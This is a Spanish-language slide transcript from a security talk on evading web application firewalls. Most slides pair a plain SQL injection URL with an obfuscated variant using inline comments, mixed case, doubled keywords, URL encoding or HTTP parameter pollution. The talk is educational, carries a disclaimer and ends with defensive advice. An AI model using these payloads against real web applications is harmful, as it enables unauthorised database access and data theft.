Bypassing waf advanced

30

Transcript of Bypassing waf advanced

Page 1: Bypassing waf advanced
Page 2: Bypassing waf advanced
Page 3: Bypassing waf advanced
Page 4: Bypassing waf advanced
Page 5: Bypassing waf advanced

BYPASSING WAF ADVANCED

“Nunca confíes en un firewall”

Page 6: Bypassing waf advanced

• Todo el contenido de esta charla es resultado de investigación con fines didácticos y educativos. El autor no se hace responsable por el uso del conocimiento contenido en la siguiente presentación. La información contenida debe ser utilizada únicamente para fines éticos y con la debida autorización.

• Todo descubrimiento realizado, ha sido y será usado de forma legal. La audiencia debe asumir todo lo que se exponga hoy, como “falso” y “sin fundamento” hasta que lo compruebe personalmente. Limahack no es el autor directo de ninguno de los descubrimientos expuestos, ni de las herramientas demostradas, ni los conoce.

• Todas las opiniones vertidas durante esta presentación son exclusivas del expositor, Limahack no es responsable de ninguna de las opiniones vertidas.

DISCLAIMER

Page 7: Bypassing waf advanced

¿ WAF ?

WAF = Web Application FirewallEs un Firewall de Aplicaciones Web, que monitorea el trafico del protocolo HTTP.

Page 8: Bypassing waf advanced

EL ADMINISTRADOR WEB

Los administradores webpiensan que usando un firewall para su servidor web estarán a salvo de ataques, pero hoy vamos a romper el mito. xD

Page 9: Bypassing waf advanced

¿ Y PARA QUE SIRVE ?

Sirve para poder detectar “ciertas” peticionesmaliciosas con el uso de filtros y reglas definidasdentro de una lista por el WAF.

Page 10: Bypassing waf advanced

¿ Y MI WEB ES SEGURA SI USO WAF ?

Lamentablemente si tu código es vulnerable de nadate servirá usarlo, ya que de todas manerasse podrá pasar los filtros para poder penetrar alservidor web.

Page 11: Bypassing waf advanced

¿ COMO DETECTAMOS UN WAF ?

Es muy fácil, cuando introducimos comandos quese utiliza en una Inyección SQL u otra vulnerabilidadnos mostrara lo siguiente: (Hay tools que automatizanel trabajo) .

Page 12: Bypassing waf advanced

A JUGAR CON LOS WAF

Page 13: Bypassing waf advanced
Page 14: Bypassing waf advanced

¿ Y COMO HAGO EL BYPASS ?

A continuación te mostrare métodos para poderhacer el bypass y lograr penetrar al servidor web

1° Usando comentarios en la consulta

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7—

La mayoría de WAF detectan pero con suerte todo es posible xD

Page 15: Bypassing waf advanced

BYPASSING WAF

2° Alterando la forma del comando

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—

Bypasshttp://127.0.0.1/noticias.php?id=-1 uNiOn sEleCt 1,2,3,4,5,6,7—

Este bypass también es detectado por algunos WAF.Solo necesitamos un poco de suerte xD

Sigamos

Page 16: Bypassing waf advanced

BYPASSING WAF

3° Duplicando palabra clave

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—

Bypasshttp://127.0.0.1/noticias.php?id=-1 UNIunionON SELselectECT 1,2,3,4,5,6,7—

Los WAF cometen este error de filtrar palabras claves como “UNION”, “SELECT ” pero que pasa si hacemos este tipo de consultas, confundiríamos al WAF cierto ? Y al final la consulta se lograría con éxito

Sigamos

Page 17: Bypassing waf advanced

BYPASSING WAF

3° Usando comentarios y duplicados en la consulta

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7--

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,5,6,7--

Gran parte de los WAF no detectan este método.

Page 18: Bypassing waf advanced

BYPASSING WAF

Y eso es todo ?

Pues no, ahora viene lo mas emocionante.Si los métodos anteriores no hicieron el bypass alWAF, aquí te mostrare métodos mas avanzados parapoder saltarlos. (Nada es seguro en esta vida)

Page 19: Bypassing waf advanced

BYPASSING WAF

4° URL Encoding

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7--

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!uNI%4fn*/ /*!Sel%45Ct*/ 1,2,3,4,5,6,7--

Donde “O” es igual a “%4f” y “E” es igual a “%45”

Lo que hicimos fue colocar el valor de la letra en HEX Codificado para URL.

Page 20: Bypassing waf advanced

BYPASSING WAF

Tabla con algunos valores de URL Encoding

Page 21: Bypassing waf advanced

BYPASSING WAF

5° Usar otros comandos en la consulta

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,@@version,6,7--

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,version(),6,7--

Todo esta en ver si el comando esta en la lista negra y de ser el caso, usar otraopción para poder hacer el bypass.

Page 22: Bypassing waf advanced

BYPASSING WAF

6° HTTP Parameter Pollution

Es la contaminación de parámetros que pasan por (GET o POST) en el protocolo HTTP.

Esta técnica la podremos usar dependiendo del tipo de tecnología en el queeste desarrollada la aplicación (PHP, ASP, JSP, etc).

Page 23: Bypassing waf advanced

BYPASSING WAF

Page 24: Bypassing waf advanced

BYPASSING WAF

¿ Y COMO APLICO LA TECNICA PARA HACER BYPASS AL WAF ?

Supongamos que dupliquemos el parámetro en la URL para alterar la aplicación.

http://127.0.0.1/noticias.php?id= 1’ EL WAF ME BANEA =(

http://127.0.0.1/noticias.php?id= 1&id=2’ BYPASS WAF =)

En PHP, siempre evalúa la ultima variable pero si el WAF esta configurado por defecto como en la mayoría de los casos, pasa esto.

Page 25: Bypassing waf advanced

BYPASSING WAF

Siguiendo con HTTP Parameter Pollution, podríamos hacer bypassa un WAF sin ningún problema, ya que pocos son los WAF que se centran en esta técnica y la potencia que tiene.

Page 26: Bypassing waf advanced

BYPASSING WAF

Así como pudimos realizar bypass a los WAF para poder realizar las Inyecciones SQL, también podríamos concretar otros ataques , ya soloEs cuestión de creatividad

Page 27: Bypassing waf advanced

BYPASSING WAF

RECOMENDACIONES

- Desarrolla tus aplicaciones de forma segura, pensando como un atacante.

- Si vas a usar WAF, no uses la configuración por defecto.- Trata de documentarte lo mas que puedas.

Page 28: Bypassing waf advanced

Autor: Brayan Huaman PeredaDesarrollador y Pentester

Contacto: [email protected] Twitter: @brayanhpe

Page 29: Bypassing waf advanced

¿ PREGUNTAS ?

Page 30: Bypassing waf advanced

Gracias